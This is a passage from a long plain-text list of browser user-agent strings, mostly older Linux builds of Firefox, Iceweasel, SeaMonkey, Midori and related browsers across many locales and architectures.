U; Linux i686; nl; rv:1.8.1.12) Gecko/20080213 Thunderbird/2.0.0.12\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.9) Gecko/2008061015 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.2.15) Gecko/20110303 Ubuntu/8.04 (hardy) Firefox/3.6.15\nMozilla/5.0 (X11; U; Linux i686; pl-PL) AppleWebKit/533.3 (KHTML, like Gecko) rekonq Safari/533.3\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050730 Firefox/1.0.6 (Debian package 1.0.6-2)\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mnenhy/0.7.3.0\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mnenhy/0.7.4.666\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.7) Gecko/20060914 Firefox/1.5.0.7 (Swiftfox) Mnenhy/0.7.4.666\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy fake Windows)\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) Mnenhy/0.7.4.666\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-1)\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071128 Fedora/2.0.0.10-2.fc7 Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-0etch1)\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092700 SUSE/3.0.3-2.2 Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.4) Gecko/20081031100 SUSE/3.0.4-4.6 Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-0.1 Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121622 Slackware/2.6.27-PiP Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030422 Kubuntu/8.10 (intrepid) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc10 Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 GTB5\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.8) Gecko/2009032713 Fedora/3.0.8-1.fc9 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2a1pre) Gecko/20090128 Kubuntu/8.10 (intrepid) Minefield/3.2a1pre\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2a1pre) Gecko/20090330 Kubuntu/8.10 (intrepid) Minefield/3.2a1pre\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b4) Gecko/2008030800 SUSE/2.9.94-4.2 Firefox/3.0b4\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5\nMozilla/5.0 (X11; U; Linux i686; pl-pl) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) epiphany-browser\nMozilla/5.0 (X11; U; Linux i686; pl-pl) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; pl-pl) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Ubuntu\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Ubuntu\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060201 Firefox/1.5.0.1 (Swiftfox) Mnenhy/0.7.3.0\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mnenhy/0.7.3.0\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060314 Flock/0.5.13.2\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.7 Firefox/1.5.0.4 Mnenhy/0.7.4.0\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.4) Gecko/20060614 Fedora/1.5.0.4-1.2.fc5 Firefox/1.5.0.4 pango-text Mnenhy/0.7.4.0\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.5) Gecko/20060801 Firefox/1.5.0.5 Flock/0.7.4.1\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.7) Gecko/20060914 Firefox/1.5.0.7 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061003 Firefox/2.0 Ubuntu\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0 Ubuntu\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061127 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061127 Firefox/2.0 (Gentoo Linux)\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 (Debian GNU/Linux Sid)\nMozilla/5.0 (X11; U; Linux i686; pt-BR) AppleWebKit/533.3 (KHTML, like Gecko) Navscape/Pre-0.2 Safari/533.3\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.1.4) Gecko/20070509 SeaMonkey/1.1.2\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.8) Gecko/2009032713 Fedora/3.0.8-1.fc10 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4\nMozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6 (like Firefox/3.6) GTB7.0\nMozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6.3 (like Firefox/3.6.3) GTB7.0\nMozilla/5.0 (X11; U; Linux i686; pt-br; rv:1.8.1) Gecko/20061010 Firefox/2.0 Midori/0.2.0\nMozilla/5.0 (X11; U; Linux i686; pt-pt) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.7.6) Gecko/20050318 Firefox/1.0.2\nMozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.8.1.11) Gecko/20071201 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.1.2) Gecko/20090804 Firefox/3.5.2\nMozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.2a1pre) Gecko/20090405 Ubuntu/9.04 (jaunty) Firefox/3.6a1pre\nMozilla/5.0 (X11; U; Linux i686; ru-ru) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.11) Gecko/20080131 Firefox/2.0.0.11 Flock/1.0.8\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-0etch1)\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061812 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.8) Gecko/2009032711\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.8) Gecko/2009032711 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 GTB5 FirePHP/0.2.4\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/10.04 (lucid) Firefox/4.0.1\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/9.10 (karmic) Firefox/3.5.3\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.3a5pre) Gecko/20100526 Firefox/3.7a5pre\nMozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5\nMozilla/5.0 (X11; U; Linux i686; ru; rv:33.2.3.12) Gecko/20120201 SeaMonkey/8.2.8\nMozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040913 Firefox/0.10\nMozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040914 Firefox/0.10\nMozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040914 Firefox/0.10.1\nMozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20041001 Firefox/0.10.1\nMozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20041020 Firefox/0.10.1\nMozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20050831 Debian/1.7.8-1sarge2\nMozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20050831 Epiphany/1.4.8 (Debian)\nMozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20050927 Debian/1.7.8-1sarge3\nMozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20060628 Debian/1.7.8-1sarge7.1\nMozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20060628 Epiphany/1.4.8 (Debian)\nMozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20060904 Debian/1.7.8-1sarge7.2.2\nMozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20061113 Debian/1.7.8-1sarge8\nMozilla/5.0 (X11; U; Linux i686; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/2008080808 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/20080810020329 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; rv:1.9.1a2pre) Gecko/20080824052448 SeaMonkey/2.0a1pre\nMozilla/5.0 (X11; U; Linux i686; rv:19.0) Gecko/20100101 Slackware/13 Firefox/19.0\nMozilla/5.0 (X11; U; Linux i686; sk; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; sk; rv:1.9) Gecko/2008061015 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.1) Gecko/20090630 Fedora/3.5-1.fc11 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.13pre) Gecko/20071126 Ubuntu/dapper-security Firefox/1.5.0.13pre\nMozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.8) Gecko/20061108 Fedora/1.5.0.8-1.fc5 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.1.2) Gecko/20061023 SUSE/2.0.0.2-1.1 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; sv-se) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; sv-se) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.30.6\nMozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5\nMozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.2.1) Gecko/20030225\nMozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.4.1) Gecko/20031114\nMozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6\nMozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8\nMozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.2.8) Gecko/20100722 Ubuntu/10.04 (lucid) Firefox/3.6.8\nMozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.0.10) Gecko/20070508 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13\nMozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.5) Gecko/2009012219 Firefox/3.0.5 Flock/2.0.3\nMozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; zh-cn) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; zh-tw) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686;en-US; rv:1.2.1) Gecko/20030225\nMozilla/5.0 (X11; U; Linux ia64; de; rv:1.9.1.11) Gecko/20100820 Lightning/1.0b2pre SeaMonkey/2.0.6\nMozilla/5.0 (X11; U; Linux ia64; de; rv:1.9.1.18) Gecko/20110331 Lightning/1.0b2pre SeaMonkey/2.0.13\nMozilla/5.0 (X11; U; Linux ia64; de; rv:1.9.1.19) Gecko/20110429 Lightning/1.0b2pre SeaMonkey/2.0.14\nMozilla/5.0 (X11; U; Linux ia64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux ia64; pl; rv:1.8.0.5) Gecko/20060801 Firefox/1.5.0.5 Flock/0.7.4.1\nMozilla/5.0 (X11; U; Linux mips; en-US; rv:1.8.1.1) Gecko/20070628 BonEcho/2.0.0.1\nMozilla/5.0 (X11; U; Linux ppc64; en-US; rv:1.8.1.14) Gecko/20080418 Ubuntu/7.10 (gutsy) Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux ppc; da-DK; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux ppc; de; rv:1.8.1.15) Gecko/20080612 Iceweasel/2.0.0.15 (Debian-2.0.0.15-0etch1)\nMozilla/5.0 (X11; U; Linux ppc; en-GB; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.0.0) Gecko/20020622 Debian/1.0.0-0.woody.1\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.1) Gecko/20020927\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.4) Gecko/20030714 Debian/1.4-2\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.7.12) Gecko/20051222 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.0.11) Gecko/20070217 Iceape/1.0.8 (Debian-1.0.8-4)\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.0.13pre) Gecko/20070505 Iceape/1.0.9 (Debian-1.0.10~pre070720-0etch1)\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.0.6) Gecko/20060815 SeaMonkey/1.0.4\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.0.9) Gecko/20061219 Iceape/1.0.7 (Debian-1.0.7-2)\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.0.9) Gecko/20061219 Iceape/1.0.7 (Debian-1.0.7-3)\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.1) Gecko/20061219 BonEcho/2.0.0.1\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9) Gecko/2008062909 Iceweasel/3.0 (Debian-3.0~rc2-2)\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.1) Gecko/2008072112 Iceweasel/3.0.1 (Debian-3.0.1-1)\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.1) Gecko/2008072112 Iceweasel/3.0.3 (Debian-3.0.3-2)\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.0a8\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1\nMozilla/5.0 (X11; U; Linux ppc; en; rv:1.8.1.13) Gecko/20080325 Epiphany/2.20 Firefox/2.0.0.13\nMozilla/5.0 (X11; U; Linux ppc; fr; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)\nMozilla/5.0 (X11; U; Linux ppc; fr; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12\nMozilla/5.0 (X11; U; Linux sparc64; en-GB; rv:1.8.1.11) Gecko/20071217 Galeon/2.0.3 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux sparc64; en-US; rv:1.8.0.14eol) Gecko/20070505 (Debian-1.8.0.15~pre080323b-0etch2) Epiphany/2.14\nMozilla/5.0 (X11; U; Linux sparc64; en-US; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-0etch1)\nMozilla/5.0 (X11; U; Linux sparc64; en-US; rv:1.8.1.17) Gecko/20081108 Firefox/2.0.0.17\nMozilla/5.0 (X11; U; Linux sparc64; es-PY; rv:5.0) Gecko/20100101 IceCat/5.0 (like Firefox/5.0; Debian-6.0.1)\nMozilla/5.0 (X11; 